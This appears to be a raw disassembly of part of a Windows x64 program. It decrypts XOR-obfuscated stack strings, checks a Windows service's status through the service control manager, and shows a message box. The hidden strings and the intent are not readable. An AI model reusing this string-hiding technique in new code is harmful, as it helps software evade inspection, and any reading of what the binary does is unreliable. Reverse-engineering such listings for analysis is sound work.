mov byte [rbp + 0x9e], al
mov byte [rbp + 0x9f], al
movabs rax, 0x865630cf76fe50dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x6e5e413bb15f34c0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3cb0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3cb8], rax
movdqa xmm0, xmmword [rbp + 0x3b0]
pxor xmm0, xmmword [rbp + 0x3cb0]
movdqa xmmword [rbp + 0x3b0], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x36c0]
call fcn.140041650
nop
lea rdx, [rbp + 0x2e10]
lea rcx, [rbp + 0x36c0]
call fcn.14000bcc0
lea rcx, [rbp + 0x36c0]
call fcn.140007090
lea rcx, [rbp + 0x2e10]
call fcn.140041e40
cmp rax, 0xb
jne 0x14003b81b
mov byte [0x14012b375], 1
lea rax, [rbp + 0x1d90]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0xa0], al
mov byte [rbp + 0xa1], al
mov byte [rbp + 0xa2], al
mov byte [rbp + 0xa3], al
mov byte [rbp + 0xa4], al
mov byte [rbp + 0xa5], al
mov byte [rbp + 0xa6], al
mov byte [rbp + 0xa7], al
mov byte [rbp + 0xa8], al
mov byte [rbp + 0xa9], al
mov byte [rbp + 0xaa], al
mov byte [rbp + 0xab], al
mov byte [rbp + 0xac], al
mov byte [rbp + 0xad], al
mov byte [rbp + 0xae], al
mov byte [rbp + 0xaf], al
mov byte [rbp + 0xb0], al
mov byte [rbp + 0xb1], al
mov byte [rbp + 0xb2], al
mov byte [rbp + 0xb3], al
mov byte [rbp + 0xb4], al
mov byte [rbp + 0xb5], al
mov byte [rbp + 0xb6], al
mov byte [rbp + 0xb7], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xde0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xde8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xdf0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xdf8], rax
movabs rax, 0xb993b0ee5efc9f0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe00], rax
movabs rax, 0xe4bfcccffd45971b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe08], rax
movabs rax, 0x8486a74771d57e1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe10], rax
movabs rax, 0x7b7abc585bcc5497
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe18], rax
movabs rax, 0x4f1cf1513016e932
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe20], rax
movabs rax, 0x98f15e44f51e7963
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe28], rax
movabs rax, 0xa25079545a148040
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe30], rax
movabs rax, 0x81993f60d4435100
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe38], rax
movabs rax, 0xdbd6d4fd2b5ee8c2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe40], rax
movabs rax, 0x3af763aef9bdd49a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe48], rax
movabs rax, 0x7581e058d39c9bb0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe50], rax
movabs rax, 0x60a3769940942f24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe58], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x46a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x46a8], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x46b0], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x46b8], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x46c0], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x46c8], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x46d0], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x46d8], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x46e0], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x46e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x46f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x46f8], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4700], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4708], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4710], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4718], rax
vmovdqu ymm0, ymmword [rbp + 0xde0]
vpxor ymm1, ymm0, ymmword [rbp + 0x46a0]
vmovdqa ymmword [rbp + 0xde0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe00]
vpxor ymm1, ymm0, ymmword [rbp + 0x46c0]
vmovdqa ymmword [rbp + 0xe00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe20]
vpxor ymm1, ymm0, ymmword [rbp + 0x46e0]
vmovdqa ymmword [rbp + 0xe20], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4700]
vmovdqa ymmword [rbp + 0xe40], ymm1
lea rdx, [rbp + 0xde0]
lea rcx, [rbp + 0x1d90]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0xf27849aa1dc20aff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x400], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x408], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x3ca0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3ca8], rax
movdqa xmm0, xmmword [rbp + 0x400]
pxor xmm0, xmmword [rbp + 0x3ca0]
movdqa xmmword [rbp + 0x400], xmm0
movabs rax, 0xc80a26d86fe74abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x6e5e413bb15f6098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3c90], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3c98], rax
movdqa xmm0, xmmword [rbp + 0x3f0]
pxor xmm0, xmmword [rbp + 0x3c90]
movdqa xmmword [rbp + 0x3f0], xmm0
lea rcx, [rbp + 0x1bf0]
call fcn.140036e80
mov rdi, rax
movabs rax, 0x9f19078a7ef24abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3e0], rcx
movabs rax, 0x6e5e413b917f7add
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3e8], rcx
movabs rdx, 0xf27849aa1da26a9f
mov qword [rbp], rdx
mov rcx, qword [rbp]
mov qword [rbp + 0x3c80], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3c88], rax
movdqa xmm0, xmmword [rbp + 0x3e0]
pxor xmm0, xmmword [rbp + 0x3c80]
movdqa xmmword [rbp + 0x3e0], xmm0
movabs rax, 0x970b27cf7ecb26bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x6e5e413bb17f6082
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3bb0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3bb8], rax
movdqa xmm0, xmmword [rbp + 0x3d0]
pxor xmm0, xmmword [rbp + 0x3bb0]
movdqa xmmword [rbp + 0x3d0], xmm0
mov edx, 0x7f
lea rcx, [rbp + 0x1c10]
call fcn.140011310
mov rbx, rax
movabs rax, 0x9f193bcd72d03abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9c0], rcx
movabs rax, 0x312848c33a1698
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9c8], rcx
movabs rax, 0x33784aa4b1882cb3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9d0], rcx
movabs r8, 0x43dc604d5b126582
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x9d8], rax
movabs rdx, 0xf27849aa1da26a9f
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x42e0], rax
movabs rcx, 0x6e5e413bb15f40b8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x42e8], rax
movabs r9, 0x33784aa4b1a80c89
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x42f0], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x42f8], rax
vmovdqu ymm0, ymmword [rbp + 0x9c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x42e0]
vmovdqa ymmword [rbp + 0x9c0], ymm1
movabs rax, 0x9c1720d96fc73cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x6e5e413bb17f6082
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3ba0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3ba8], rax
vmovdqa xmm0, xmmword [rbp + 0x3c0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3ba0]
vmovdqa xmmword [rbp + 0x3c0], xmm0
movabs rax, 0xa22c0d823dc20aff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13e0], rax
movabs rax, 0x1a2d3469917612ec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13e8], rax
movabs rax, 0x500d1984deda5ca9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13f0], rax
movabs rax, 0xffc406d286100e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13f8], rax
movabs rax, 0x8084a7e403a7c94c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1400], rax
movabs r10, 0xd68cf8ffcf72a52c
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x1408], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3fc0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3fc8], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x3fd0], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x3fd8], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3fe0], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x3fe8], rax
vmovdqu ymm0, ymmword [rbp + 0x13e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3fc0]
vmovdqa ymmword [rbp + 0x13e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1400]
vpxor xmm0, xmm0, xmmword [rbp + 0x3fe0]
vmovdqa xmmword [rbp + 0x1400], xmm0
lea r8, [0x14012a090]
lea rdx, [rbp + 0x13e0]
lea rcx, [rbp + 0x1c30]
vzeroupper
call fcn.140042530
nop
lea r8, [rbp + 0x3c0]
mov rdx, rax
lea rcx, [rbp + 0x1c50]
call fcn.140042690
nop
lea r8, [0x14012b4c8]
mov rdx, rax
lea rcx, [rbp + 0x1ed0]
call fcn.140042e40
nop
lea r8, [rbp + 0x9c0]
mov rdx, rax
lea rcx, [rbp + 0x1c70]
call fcn.140042690
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1c90]
call fcn.140042e20
nop
lea r8, [rbp + 0x3d0]
mov rdx, rax
lea rcx, [rbp + 0x1cb0]
call fcn.140042690
nop
lea r8, [rbp + 0x2e10]
mov rdx, rax
lea rcx, [rbp + 0x1cd0]
call fcn.140042e40
nop
lea r8, [rbp + 0x3e0]
mov rdx, rax
lea rcx, [rbp + 0x1cf0]
call fcn.140042690
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1d10]
call fcn.140042e20
nop
lea r8, [rbp + 0x3f0]
mov rdx, rax
lea rcx, [rbp + 0x1d30]
call fcn.140042690
nop
lea r8, [rbp + 0x3328]
mov rdx, rax
lea rcx, [rbp + 0x1d50]
call fcn.140042e40
nop
lea r8, [rbp + 0x400]
mov rdx, rax
lea rcx, [rbp + 0x1d70]
call fcn.140042690
nop
mov rdx, rsi
mov rcx, rax
call fcn.140030f00
nop
lea rcx, [rbp + 0x1d50]
call fcn.140007240
nop
lea rcx, [rbp + 0x1d30]
call fcn.140007240
nop
lea rcx, [rbp + 0x1d10]
call fcn.140007240
nop
lea rcx, [rbp + 0x1cf0]
call fcn.140007240
nop
lea rcx, [rbp + 0x1cd0]
call fcn.140007240
nop
lea rcx, [rbp + 0x1cb0]
call fcn.140007240
nop
lea rcx, [rbp + 0x1c90]
call fcn.140007240
nop
lea rcx, [rbp + 0x1c70]
call fcn.140007240
nop
lea rcx, [rbp + 0x1ed0]
call fcn.140007240
nop
lea rcx, [rbp + 0x1c50]
call fcn.140007240
nop
lea rcx, [rbp + 0x1c30]
call fcn.140007240
nop
lea rcx, [rbp + 0x1c10]
call fcn.140007240
nop
lea rcx, [rbp + 0x1bf0]
call fcn.140007240
movabs rsi, 0x30b70f22337000f5
jmp 0x14003be66
lea rax, [rbp + 0x1930]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0xb8], al
mov byte [rbp + 0xb9], al
mov byte [rbp + 0xba], al
mov byte [rbp + 0xbb], al
mov byte [rbp + 0xbc], al
mov byte [rbp + 0xbd], al
mov byte [rbp + 0xbe], al
mov byte [rbp + 0xbf], al
mov byte [rbp + 0xc0], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe60], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe68], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe70], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xe78], rax
movabs rax, 0xb894b0eb55ff9f0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe80], rax
movabs rax, 0xe1bbcecbfa429d14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe88], rax
movabs rax, 0x88ff93477cd9741d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe90], rax
movabs rax, 0x665efc5e3ede01f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe98], rax
movabs rax, 0x2e66a15d1235e75f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xea0], rax
movabs rax, 0xc9ee4a3ada1f5e76
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xea8], rax
movabs rax, 0x93032c6559158808
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xeb0], rax
movabs rax, 0xd39f5f7fdd4b692b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xeb8], rax
movabs rax, 0xddfdd7e50f57e6c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xec0], rax
movabs rax, 0x1efd069febb0f0b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xec8], rax
movabs rax, 0x62d1dc4ce792a3c3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xed0], rax
movabs rax, 0x60a3769940942f23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xed8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x45c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x45c8], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x45d0], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x45d8], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x45e0], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x45e8], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x45f0], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x45f8], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4600], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4608], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4610], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4618], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4620], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4628], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4630], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4638], rax
vmovdqu ymm0, ymmword [rbp + 0xe60]
vpxor ymm1, ymm0, ymmword [rbp + 0x45c0]
vmovdqa ymmword [rbp + 0xe60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe80]
vpxor ymm1, ymm0, ymmword [rbp + 0x45e0]
vmovdqa ymmword [rbp + 0xe80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xea0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4600]
vmovdqa ymmword [rbp + 0xea0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xec0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4620]
vmovdqa ymmword [rbp + 0xec0], ymm1
lea rdx, [rbp + 0xe60]
lea rcx, [rbp + 0x1930]
vzeroupper
call fcn.140007250
mov rdi, rax
movabs rax, 0xd2103dcd73c726bf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1420], rcx
movabs rax, 0x217e2848d42c2cfd
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1428], rcx
movabs rax, 0x5a1924e191dd68e5
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1430], rcx
movabs rax, 0x26af0e28387b29a2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1438], rax
movabs rax, 0x80a4a7e414abe503
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1440], rax
movabs rcx, 0xd68cf8ffcf72a52c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1448], rax
movabs rax, 0xf27849aa1da26a9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4000], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4008], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4010], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4018], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4020], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4028], rax
vmovdqu ymm0, ymmword [rbp + 0x1420]
vpxor ymm1, ymm0, ymmword [rbp + 0x4000]
vmovdqa ymmword [rbp + 0x1420], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1440]
vpxor xmm0, xmm0, xmmword [rbp + 0x4020]
vmovdqa xmmword [rbp + 0x1440], xmm0
mov edx, 0x1a0a
lea rcx, [rbp + 0x1ad0]
vzeroupper
call fcn.140011310
mov rbx, rax
movabs rax, 0xf278498a7dc20abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x410], rcx
movabs rax, 0x6e5e413bb15f40b8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x418], rcx
movabs rcx, 0xf27849aa1da26a9f
mov qword [rbp], rcx
mov rcx, qword [rbp]
mov qword [rbp + 0x3b90], rcx
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b98], rax
movdqa xmm0, xmmword [rbp + 0x410]
pxor xmm0, xmmword [rbp + 0x3b90]
movdqa xmmword [rbp + 0x410], xmm0
lea r8, [0x14012b4c8]
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x1af0]
call fcn.140042530
nop
lea r8, [0x14010af9c]
mov rdx, rax
lea rcx, [rbp + 0x1b50]
call fcn.140042690
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1b70]
call fcn.140042e20
nop
lea r8, [rbp + 0x1420]
mov rdx, rax
lea rcx, [rbp + 0x1b90]
call fcn.140042690
nop
lea r8, [rbp + 0x2e10]
mov rdx, rax
lea rcx, [rbp + 0x1bb0]
call fcn.140042e40
nop
lea r8, [0x14010a4c0]
mov rdx, rax
lea rcx, [rbp + 0x1bd0]
call fcn.140042690
nop
mov rdx, rdi
mov rcx, rax
call fcn.140030f00
nop
lea rcx, [rbp + 0x1bb0]
call fcn.140007240
nop
lea rcx, [rbp + 0x1b90]
call fcn.140007240
nop
lea rcx, [rbp + 0x1b70]
call fcn.140007240
nop
lea rcx, [rbp + 0x1b50]
call fcn.140007240
nop
lea rcx, [rbp + 0x1af0]
call fcn.140007240
nop
lea rcx, [rbp + 0x1ad0]
call fcn.140007240
nop
lea rcx, [rbp + 0x36c0]
call fcn.1400044c0
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
xor eax, eax
mov byte [rbp + 0xc1], al
mov byte [rbp + 0xc2], al
mov byte [rbp + 0xc3], al
movabs rax, 0x801d3dc674e42ec8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x420], rcx
movabs rcx, 0x6e5e413bb15f40b8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs rax, 0xf27849aa1da26a9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b80], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3b88], rax
movdqa xmm0, xmmword [rbp + 0x420]
pxor xmm0, xmmword [rbp + 0x3b80]
movdqa xmmword [rbp + 0x420], xmm0
mov r8d, 4
lea rdx, [rbp + 0x420]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
lea rax, [rbp + 0x2e48]
mov qword [rsp + 0x20], rax
mov r9d, Ordinal_41
lea r8, [rbp + 0x30b8]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov rcx, rdi
cmp dword [rbp + 0x30bc], 4
jne 0x14003c5f1
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0xf27849d872d018da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rdi, 0x6e5e413bb15f40b8
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs rsi, 0xf27849aa1da26a9f
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3b70], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3b78], rax
movdqa xmm0, xmmword [rbp + 0x430]
pxor xmm0, xmmword [rbp + 0x3b70]
movdqa xmmword [rbp + 0x430], xmm0
movabs rax, 0x801d3dc674e42ec8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa80], rax
movabs rax, 0x9302855df2a1298
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa88], rax
movabs rax, 0x40192fc8e18822a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa90], rax
movabs rax, 0x63b91322375145e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa98], rax
movabs rax, 0xa0d1e8874de2fa6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa0], rax
movabs rax, 0xa0e0978cef1cc44f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa8], rax
movabs rax, 0xbeb7d50d21996d48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xab0], rax
movabs rax, 0x7868ae6c0fc806c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xab8], rax
movabs rax, 0x1745ae61033fc647
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xac0], rax
movabs rax, 0x95ce691ae00f1667
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xac8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xad0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xad8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3800], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3808], rax
movabs r13, 0x33784aa4b1a80c89
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3810], rax
movabs r12, 0x43dc604d5b126582
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3818], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3820], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3828], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3830], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3838], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3840], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3848], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3850], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3858], rax
vmovdqu ymm0, ymmword [rbp + 0x3800]
vpxor ymm1, ymm0, ymmword [rbp + 0xa80]
vmovdqa ymmword [rbp + 0xa80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xaa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3820]
vmovdqa ymmword [rbp + 0xaa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xac0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3840]
vmovdqa ymmword [rbp + 0xac0], ymm1
mov r9d, 0x40030
lea r8, [rbp + 0x430]
lea rdx, [rbp + 0xa80]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rbx, 0x861069de6fc31eec
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1460], rax
movabs rax, 0x1a2d6e148b2c30cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1468], rax
